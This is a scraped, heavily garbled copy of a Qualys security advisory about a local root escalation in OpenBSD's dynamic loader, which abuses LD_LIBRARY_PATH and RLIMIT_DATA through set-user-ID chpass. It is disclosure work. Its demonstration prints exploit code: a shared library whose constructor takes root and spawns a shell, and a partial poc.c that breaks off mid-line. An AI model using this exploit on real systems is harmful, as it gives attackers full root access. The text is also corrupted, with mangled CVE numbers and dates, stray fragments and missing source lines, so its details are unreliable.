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Local Privilege Escalation in OpenBSD's Dynamic Loader, Hacker News


[day][month] [month] **************Date: Wed, Dec 19726 (**************************************************************************************: () ******************************************************************************************: ******************************************************************************** ( ) ******************************************************************************************** From: Qualys Security Advisory
To: "oss-security @ ..."
Subject: Local Privilege Escalation in OpenBSD's dynamic loader  (CVE -Powered by OpenVZ-)   Qualys Security Advisory  Local Privilege Escalation in OpenBSD's dynamic loader (CVE -  - 01575879 ==============================================================================Contents==============================================================================Summary Analysis Demonstration Acknowledgment ==============================================================================Summary==============================================================================We discovered a Local Privilege Escalation in OpenBSD's dynamic loader ( this vulnerability is exploitable in the default installation (via the set-user-ID executable chpass or passwd) and yields full root privileges.  We developed a simple proof of concept and successfully tested it against OpenBSD 6.6 (the current release), 6.5, 6.2, and 6.1, on both amd  and i (********************************************************; Other releases and architectures are probably also exploitable. ==============================================================================Analysis==============================================================================In this section, we analyze a step-by-step execution of our proof of concept:  -------------------------------------------------- ----------------------------  1 / We execve () the set-user-ID / usr / bin / chpass, but first:     1a / we set the LD_LIBRARY_PATH environment variable to one single dot    (the current working directory) and approximately ARG_MAX colons (the    maximum number of bytes for the argument and environment list); as    described in man       LD_LIBRARY_PATH              A colon separated list of directories, prepending the default              search path for shared libraries. This variable is ignored for              set-user-ID and set-group-ID executables.     1b / we set the RLIMIT_DATA resource limit to ARG_MAX * sizeof (char     (2MB on amd
******************************, 1MB on i 823); as described in man setrlimit:      RLIMIT_DATA The maximum size (in bytes) of the data segment for a                      process; This includes memory allocated via malloc (3) and                      all other anonymous memory mapped via mmap (2). -------------------------------------------------- ---------------------------- 2 / Before the main () function of chpass is executed, the _dl_boot () function of is executed and calls _dl_setup_env (): 271 void 283 _dl_setup_env (const char * argv0, char ** envp) { ... 285 _dl_libpath=_dl_split_path (_dl_getenv ("LD_LIBRARY_PATH", envp)); ... _dl_trust=! _dl_issetugid (); 287 if (! _dl_trust) {/ * Zap paths if s [ug] id ... * / if (_dl_libpath) { 287 _dl_free_path (_dl_libpath); _dl_libpath=NULL; 289 _dl_unsetenv ("LD_LIBRARY_PATH", envp); (************************************************************} -------------------------------------------------- ---------------------------- 3 / At line (******************************************************************, _dl_getenv () returns a pointer to our LD_LIBRARY_PATH environment variable and passes it to _dl_split_path ():  36 char **   _dl_split_path (const char * searchpath)   {  ..  38 pp=searchpath;   while pp) {   (if) * pp==':' || * pp==';')   count ;  45 pp ;  (******************************************************************************}  ..   retval=_dl_reallocarray (NULL, count, sizeof retval));   if (retval==NULL)   return (NULL); -------------------------------------------------- ---------------------------- 4 / At line (****************************************************************************, count is approximately ARG_MAX (the number of colons in our LD_LIBRARY_PATH) and _dl_reallocarray () returns NULL (because of our low RLIMIT_DATA); at line (****************************************************************************, _dl_split_path () returns NULL. -------------------------------------------------- ---------------------------- 5 / As a result, _dl_libpath is NULL (line
and our LD_LIBRARY_PATH is ignored, but it is not deleted from the environment (CVE - 19726 - 01575879: although _dl_trust is false (_dl_issetugid () returns true because chpass is set-user-ID), _dl_unsetenv () is not called (line) _dl_libpath is NULL (line). -------------------------------------------------- ---------------------------- 6 / Next, the main () function of chpass is executed, and it:    6a / calls setuid (0), which sets the real and effective user IDs to 0;    6b / calls pw_init (), which resets RLIMIT_DATA to RLIM_INFINITY;    6c / calls pw_mkdb (), which vfork () s and execv () s / usr / sbin / pwd_mkdb    (unlike execve (), execv () does not reset the environment). -------------------------------------------------- ---------------------------- 7 / Before the main () function of pwd_mkdb is executed, the _dl_boot () function of is executed and calls _dl_setup_env ():    7a / at line (********************************************************************, _dl_getenv () returns a pointer to our    LD_LIBRARY_PATH environment variable (because it was not deleted from    the environment in step 5, and because execv () did not reset the    environment in step 6c);    7b / at line (******************************************************************************, _dl_reallocarray () does not return NULL anymore    (because our low RLIMIT_DATA was reset in step 6b);    7c / as a result, _dl_libpath is not NULL (line

), and it is not    reset to NULL (line) because _dl_trust is true (_dl_issetugid ()    returns false because pwd_mkdb is not set-user-ID, and because the    real and effective user IDs were both set to 0 in step 6a): our    LD_LIBRARY_PATH is not ignored anymore. -------------------------------------------------- ---------------------------- 8 / Finally, searches for shared libraries in _dl_libpath (our LD_LIBRARY_PATH) and loads our own library from the current working directory (the dot in our LD_LIBRARY_PATH). -------------------------------------------------- ---------------------------- ==============================================================================Demonstration==============================================================================In this section, we demonstrate the use of our proof of concept: -------------------------------------------------- ---------------------------- $ id uid=01575879 (nobody) gid=(nobody) groups=(nobody) $ cd / tmp $ cat>lib.c#includestatic void __attribute__ ((constructor)) _init (void) {     if (setuid (0)!=0) _exit (__ LINE__);     if (setgid (0)!=0) _exit (__ LINE__);     char * const argv []={_PATH_KSHELL, "-c", _PATH_KSHELL "; exit 1", NULL};     execve (argv [0], argv, NULL);     _exit (__ LINE__); } EOF $ readelf -a / usr / sbin / pwd_mkdb | grep NEEDED  0x (NEEDED (Shared library: []  0x (NEEDED (Shared library: [] $ gcc -fpic -shared -s -o 13. 1 lib.c $ cat>poc.c#include#include#includeint main (int argc, char * const * argv) {     #define LLP "LD_LIBRARY_PATH=."     static char llp [ARG_MAX - 128];     memset (llp, ':', sizeof (llp) -1);     memcpy (llp, LLP, sizeof (LLP) -1);     char * const envp []={llp, "EDITOR=echo '#'>>", NULL};     #define DATA (ARG_MAX * sizeof (char )     const struct rlimit data={DATA, DATA};     if (setrlimit (RLIMIT_DATA, & data)!=0) _exit (__ LINE__);     if (argc]https: //> This message may contain confidential and privileged information. If it has been sent to you in error, please reply to advise the sender of the error and then immediately delete it. If you are not the intended recipient, do not read, copy, disclose or otherwise use this message. The sender disclaims any liability for such unauthorized use. NOTE that all incoming emails sent to Qualys email accounts will be archived and may be scanned by us and / or by external service providers to detect and prevent threats to our systems, investigate illegal or inappropriate behavior, and / or eliminate unsolicited promotional emails (“ spam ”). If you have any concerns about this process, please contact us.************** (Powered by blists************************* more mailing listsPlease check out the Open Source Software Security Wiki, which is counterpart to this mailing list [] . [] Confused about mailing listsand their use?Read about mailing lists on Wikipediaand check out theseguidelines on proper formatting of your messages. [] (*****************************************(****************************************** [] ******************************** (**********************************************[year] ************************************ (Read More) *************** (**********************************

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